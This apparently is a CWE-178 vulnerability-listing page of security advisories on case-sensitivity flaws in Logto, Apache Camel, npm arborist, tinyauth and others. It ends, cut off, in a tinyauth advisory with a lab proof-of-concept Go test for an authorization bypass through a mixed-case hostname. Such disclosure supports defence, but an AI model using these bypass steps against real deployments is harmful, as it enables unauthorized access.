CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
196 vulnerabilities reference this CWE, most recent first.
GHSA-257M-4VPX-XG86
Vulnerability from github – Published: 2026-07-23 18:31 – Updated: 2026-07-27 18:31Logto performs principal lookup without normalizing email and identifier strings, enabling principal collision and unauthorized account access via case- or Unicode-different identities.
{
"affected": [],
"aliases": [
"CVE-2026-15617"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T16:17:14Z",
"severity": "CRITICAL"
},
"details": "Logto performs principal lookup without normalizing email and identifier strings, enabling principal collision and unauthorized account access via case- or Unicode-different identities.",
"id": "GHSA-257m-4vpx-xg86",
"modified": "2026-07-27T18:31:42Z",
"published": "2026-07-23T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15617"
},
{
"type": "WEB",
"url": "https://github.com/logto-io/logto/blob/ea3ede35028dfd0bbb6d7b239623ce0e7f6cdff8/packages/core/src/libraries/verification-helpers/single-sign-on-guard.ts#L23-L33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C2H-2855-MF97
Vulnerability from github – Published: 2025-03-09 15:31 – Updated: 2025-03-25 18:38Bypass/Injection vulnerability in Apache Camel components under particular conditions.
This issue affects Apache Camel: from 4.9.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3.
Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.
This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component.
The attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application.
All the known Camel HTTP component such as camel-servlet, camel-jetty, camel-undertow, camel-platform-http, and camel-netty-http would be vulnerable out of the box.
In these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean.
In terms of usage of the default header filter strategy the list of components using that is:
- camel-activemq
- camel-activemq6
- camel-amqp
- camel-aws2-sqs
- camel-azure-servicebus
- camel-cxf-rest
- camel-cxf-soap
- camel-http
- camel-jetty
- camel-jms
- camel-kafka
- camel-knative
- camel-mail
- camel-nats
- camel-netty-http
- camel-platform-http
- camel-rest
- camel-sjms
- camel-spring-rabbitmq
- camel-stomp
- camel-tahu
- camel-undertow
- camel-xmpp
The vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with "Camel", "camel", or "org.apache.camel.".
Mitigation: You can easily work around this in your Camel applications by removing the headers in your Camel routes. There are many ways of doing this, also globally or per route. This means you could use the removeHeaders EIP, to filter out anything like "cAmel, cAMEL" etc, or in general everything not starting with "Camel", "camel" or "org.apache.camel.".
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-support"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.22.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-support"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-M1"
},
{
"fixed": "4.8.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-support"
},
"ranges": [
{
"events": [
{
"introduced": "4.9.0"
},
{
"fixed": "4.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27636"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-10T20:49:46Z",
"nvd_published_at": "2025-03-09T13:15:34Z",
"severity": "MODERATE"
},
"details": "Bypass/Injection vulnerability in Apache Camel components under particular conditions.\n\nThis issue affects Apache Camel: from 4.9.0 through \u003c= 4.10.1, from 4.8.0 through \u003c= 4.8.4, from 3.10.0 through \u003c= 3.22.3.\n\nUsers are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.\n\nThis vulnerability is present in Camel\u0027s default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the `camel-jms` component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component.\n\nThe attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application.\n\nAll the known Camel HTTP component such as `camel-servlet`, `camel-jetty`, `camel-undertow`, `camel-platform-http`, and `camel-netty-http` would be vulnerable out of the box.\n\nIn these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean.\n\nIn terms of usage of the default header filter strategy the list of components using that is: \n\n * camel-activemq\n * camel-activemq6\n * camel-amqp\n * camel-aws2-sqs\n * camel-azure-servicebus\n * camel-cxf-rest\n * camel-cxf-soap\n * camel-http\n * camel-jetty\n * camel-jms\n * camel-kafka\n * camel-knative\n * camel-mail\n * camel-nats\n * camel-netty-http\n * camel-platform-http\n * camel-rest\n * camel-sjms\n * camel-spring-rabbitmq\n * camel-stomp\n * camel-tahu\n * camel-undertow\n * camel-xmpp\n\nThe vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with \"Camel\", \"camel\", or \"org.apache.camel.\". \n\nMitigation: You can easily work around this in your Camel applications by removing the headers in your Camel routes. There are many ways of doing this, also globally or per route. This means you could use the removeHeaders EIP, to filter out anything like \"cAmel, cAMEL\" etc, or in general everything not starting with \"Camel\", \"camel\" or \"org.apache.camel.\".",
"id": "GHSA-2c2h-2855-mf97",
"modified": "2025-03-25T18:38:07Z",
"published": "2025-03-09T15:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27636"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/23a833eec6131a3cdce6e4b1b40b3ac2035b6adf"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/45a6b74f7f8af8fd58f197566938a9534392a624"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2025-27636.html"
},
{
"type": "WEB",
"url": "https://github.com/akamai/CVE-2025-27636-Apache-Camel-PoC/blob/main/src/main/java/com/example/camel/VulnerableCamel.java"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/blob/camel-4.9.0/core/camel-support/src/main/java/org/apache/camel/support/DefaultHeaderFilterStrategy.java"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-21828"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/l3zcg3vts88bmc7w8172wkgw610y693z"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/03/09/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Camel: Camel Message Header Injection via Improper Filtering"
}
GHSA-2GR8-3WC7-XHJ3
Vulnerability from github – Published: 2024-04-24 18:47 – Updated: 2024-08-28 20:09Impact
Due to default case-insensitive collation in MySQL or MariaDB databases, third-party authentication user IDs are not case-sensitive and could cause different IDs to match.
Patches
This issue has been addressed by https://github.com/python-social-auth/social-app-django/pull/566 and fix released in 5.4.1.
Workarounds
An immediate workaround would be to change collation of the affected field:
ALTER TABLE `social_auth_usersocialauth` MODIFY `uid` varchar(255) COLLATE `utf8_bin`;
References
This issue was discovered by folks at https://opencraft.com/.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "social-auth-app-django"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32879"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-303"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T18:47:21Z",
"nvd_published_at": "2024-04-24T20:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nDue to default case-insensitive collation in MySQL or MariaDB databases, third-party authentication user IDs are not case-sensitive and could cause different IDs to match.\n\n### Patches\nThis issue has been addressed by https://github.com/python-social-auth/social-app-django/pull/566 and fix released in 5.4.1.\n\n### Workarounds\nAn immediate workaround would be to change collation of the affected field:\n\n```mysql\nALTER TABLE `social_auth_usersocialauth` MODIFY `uid` varchar(255) COLLATE `utf8_bin`;\n```\n\n### References\nThis issue was discovered by folks at https://opencraft.com/.\n",
"id": "GHSA-2gr8-3wc7-xhj3",
"modified": "2024-08-28T20:09:46Z",
"published": "2024-04-24T18:47:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-social-auth/social-app-django/security/advisories/GHSA-2gr8-3wc7-xhj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32879"
},
{
"type": "WEB",
"url": "https://github.com/python-social-auth/social-app-django/pull/566"
},
{
"type": "WEB",
"url": "https://github.com/python-social-auth/social-app-django/commit/31c3e0c7edb187004d8abbde7e9c4f7ef9098138"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-social-auth/social-app-django"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "social-auth-app-django affected by Improper Handling of Case Sensitivity"
}
GHSA-2H3H-Q99F-3FHC
Vulnerability from github – Published: 2021-08-31 16:04 – Updated: 2022-08-15 20:08Impact
Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
@npmcli/arborist, the library that calculates dependency trees and manages the node_modules folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.
This is, in part, accomplished by resolving dependency specifiers defined in package.json manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.
When multiple dependencies differ only in the case of their name, Arborist's internal data structure saw them as separate items that could coexist within the same level in the node_modules hierarchy. However, on case-insensitive file systems (such as macOS and Windows), this is not the case. Combined with a symlink dependency such as file:/some/path, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.
For example, a package pwn-a could define a dependency in their package.json file such as "foo": "file:/some/path". Another package, pwn-b could define a dependency such as FOO: "file:foo.tgz". On case-insensitive file systems, if pwn-a was installed, and then pwn-b was installed afterwards, the contents of foo.tgz would be written to /some/path, and any existing contents of /some/path would be removed.
Anyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.
Patches
2.8.2 (included in npm v7.20.7 and above)
Fix and Caveats
There are two parts to the fix:
- Immediately prior to extraction, if the target folder is not a directory, it is moved aside. (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)
- The
childrenmap that represents child nodes in the tree is replaced with a case-insensitive map object, such thatnode.children.get('foo')andnode.children.get('FOO')will return the same object, enabling Arborist to detect and handle this class of tree collision.
This second item imposes a caveat on case sensitive filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case. Note that in such cases, the package-lock.json already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.
If affected by this caveat, please run npm update to rebuild your tree and generate a new package-lock.json file.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@npmcli/arborist"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39134"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-31T16:02:46Z",
"nvd_published_at": "2021-08-31T17:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the `node_modules` folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is, in part, accomplished by resolving dependency specifiers defined in `package.json` manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.\n\nWhen multiple dependencies differ only in the case of their name, Arborist\u0027s internal data structure saw them as separate items that could coexist within the same level in the `node_modules` hierarchy. However, on case-insensitive file systems (such as macOS and Windows), this is not the case. Combined with a symlink dependency such as `file:/some/path`, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.\n\nFor example, a package `pwn-a` could define a dependency in their `package.json` file such as `\"foo\": \"file:/some/path\"`. Another package, `pwn-b` could define a dependency such as `FOO: \"file:foo.tgz\"`. On case-insensitive file systems, if `pwn-a` was installed, and then `pwn-b` was installed afterwards, the contents of `foo.tgz` would be written to `/some/path`, and any existing contents of `/some/path` would be removed.\n\nAnyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Fix and Caveats\n\nThere are two parts to the fix:\n\n1. Immediately prior to extraction, if the target folder is not a directory, it is moved aside. (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)\n2. The `children` map that represents child nodes in the tree is replaced with a case-insensitive map object, such that `node.children.get(\u0027foo\u0027)` and `node.children.get(\u0027FOO\u0027)` will return the same object, enabling Arborist to detect and handle this class of tree collision.\n\nThis second item imposes a caveat on case _sensitive_ filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case. Note that in such cases, the `package-lock.json` already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.\n\nIf affected by this caveat, please run `npm update` to rebuild your tree and generate a new `package-lock.json` file.",
"id": "GHSA-2h3h-q99f-3fhc",
"modified": "2022-08-15T20:08:31Z",
"published": "2021-08-31T16:04:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/npm/arborist/security/advisories/GHSA-2h3h-q99f-3fhc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39134"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/npm/arborist"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@npmcli/arborist"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@npmcli/arborist vulnerable to UNIX Symbolic Link (Symlink) Following"
}
GHSA-2J2F-H2GF-6R4C
Vulnerability from github – Published: 2022-04-29 03:01 – Updated: 2024-02-08 03:32Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.
{
"affected": [],
"aliases": [
"CVE-2004-2214"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.",
"id": "GHSA-2j2f-h2gf-6r4c",
"modified": "2024-02-08T03:32:44Z",
"published": "2022-04-29T03:01:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2214"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16638"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/12011"
},
{
"type": "WEB",
"url": "http://www.mbedthis.com/products/appWeb/doc/product/newFeatures.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/7391"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/10673"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RF7-87HX-XW66
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47Microsoft Windows 8.1 and Windows RT 8.1, Windows Server 2012 R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an attacker to set variables that are either read-only or require authentication when Windows fails to enforce case sensitivity for certain variable checks, aka "Windows Security Feature Bypass Vulnerability".
{
"affected": [],
"aliases": [
"CVE-2017-8493"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-15T01:29:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Windows 8.1 and Windows RT 8.1, Windows Server 2012 R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an attacker to set variables that are either read-only or require authentication when Windows fails to enforce case sensitivity for certain variable checks, aka \"Windows Security Feature Bypass Vulnerability\".",
"id": "GHSA-2rf7-87hx-xw66",
"modified": "2022-05-13T01:47:34Z",
"published": "2022-05-13T01:47:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8493"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8493"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98850"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-328G-JX67-V94G
Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for
GitHub Advisory Details (form fields — paste-ready)
Affected products
| Field | Value |
|-------|-------|
| Ecosystem | Other (self-hosted) / Go |
| Package name | github.com/steveiliop56/tinyauth (forward-auth middleware) |
| Affected versions | < 5.1.2 |
| Patched versions | 5.1.2 |
Advisory details
| Field | Value |
|-------|-------|
| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open |
- Status: Runtime-confirmed (local lab, 127.0.0.1 only)
- Target: steveiliop56/tinyauth
v5.0.7(commit479f1657812b7bf01438607464dedaa148155301); root cause also present onmainHEAD - Component:
internal/service/access_controls_service.go(lookupStaticACLs/GetAccessControls),internal/service/docker_service.go(GetLabels),internal/controller/proxy_controller.go(proxyHandler) - Class: Broken access control / authorization bypass across the per-app trust boundary
Summary
tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.
The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.
On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.
Affected code (v5.0.7, commit 479f1657…)
The ACL lookup uses case-sensitive equality — internal/service/access_controls_service.go:
func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain { // case-sensitive ==
return config, nil
}
if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive ==
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
app, err := acls.lookupStaticACLs(domain)
if err == nil {
return app, nil
}
// Fallback to Docker labels
return acls.docker.GetLabels(domain)
}
The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open) — internal/service/docker_service.go:
func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil // <-- empty App, no error
}
...
for _, ctr := range containers {
...
for appName, appLabels := range labels.Apps {
if appLabels.Config.Domain == appDomain { ... } // case-sensitive
if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
}
}
return config.App{}, nil // <-- no match -> empty App, no error
}
The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — internal/controller/proxy_controller.go and internal/service/auth_service.go:
// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true
...
c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}
// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
if context.OAuth {
return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
}
if acls.Users.Block != "" { ... } // "" -> skipped
return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true
}
utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true // empty allowlist -> allow all
}
...
}
The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host — none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.
Attacker model / precondition
The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.
Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).
What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.
Impact
Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob — a cross-app authorization bypass.
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
internal/controller/zzz_poc_test.go:
package controller_test
import (
"net/http/httptest"
"path"
"testing"
"github.com/gin-gonic/gin"
"github.com/steveiliop56/tinyauth/internal/bootstrap"
"github.com/steveiliop56/tinyauth/internal/config"
"github.com/steveiliop56/tinyauth/internal/controller"
"github.com/steveiliop56/tinyauth/internal/repository"
"github.com/steveiliop56/tinyauth/internal/service"
"github.com/steveiliop56/tinyauth/internal/utils/tlog"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
tlog.NewTestLogger().Init()
tempDir := t.TempDir()
// Force the docker label provider offline so an ACL miss deterministically
// yields the empty App() default (this is exactly what happens on any
// deployment whose ACLs live in the static `apps:` config, or whose docker
// socket holds no container matching the mixed-case host).
t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")
authServiceCfg := service.AuthServiceConfig{
Users: []config.User{
{
Username: "admin",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
{
Username: "bob",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
},
SessionExpiry: 10,
CookieDomain: "example.com",
LoginTimeout: 10,
LoginMaxRetries: 3,
SessionCookieName: "tinyauth-session",
}
controllerCfg := controller.ProxyControllerConfig{
AppURL: "https://tinyauth.example.com",
}
// The admin restricts the "immich" app to user "admin" only.
acls := map[string]config.App{
"immich": {
Config: config.AppConfig{
Domain: "immich.example.com",
},
Users: config.AppUsers{
Allow: "admin",
},
},
}
// bob is a legitimately-authenticated low-privileged user. He is NOT in
// immich's users.allow list.
bobCtx := func(c *gin.Context) {
c.Set("context", &config.UserContext{
Username: "bob",
Name: "Bob",
Email: "bob@example.com",
IsLoggedIn: true,
Provider: "local",
})
c.Next()
}
// Shared services (mirrors the project's own proxy_controller_test.go).
app := bootstrap.NewBootstrapApp(config.Config{})
db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
require.NoError(t, err)
defer func() { _ = db.Close() }()
queries := repository.New(db)
docker := service.NewDockerService()
require.NoError(t, docker.Init())
ldap := service.NewLdapService(service.LdapServiceConfig{})
require.NoError(t, ldap.Init())
broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
require.NoError(t, broker.Init())
authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
require.NoError(t, authService.Init())
aclsService := service.NewAccessControlsService(docker, acls)
newRouter := func() *gin.Engine {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(bobCtx)
group := router.Group("/api")
pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
pc.SetupRoutes()
return router
}
forwardAuth := func(host string) *httptest.ResponseRecorder {
rec := httptest.NewRecorder()
req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
req.Header.Set("x-forwarded-host", host)
req.Header.Set("x-forwarded-proto", "https")
req.Header.Set("x-forwarded-uri", "/")
newRouter().ServeHTTP(rec, req)
return rec
}
// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
lower := forwardAuth("immich.example.com")
t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")
// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
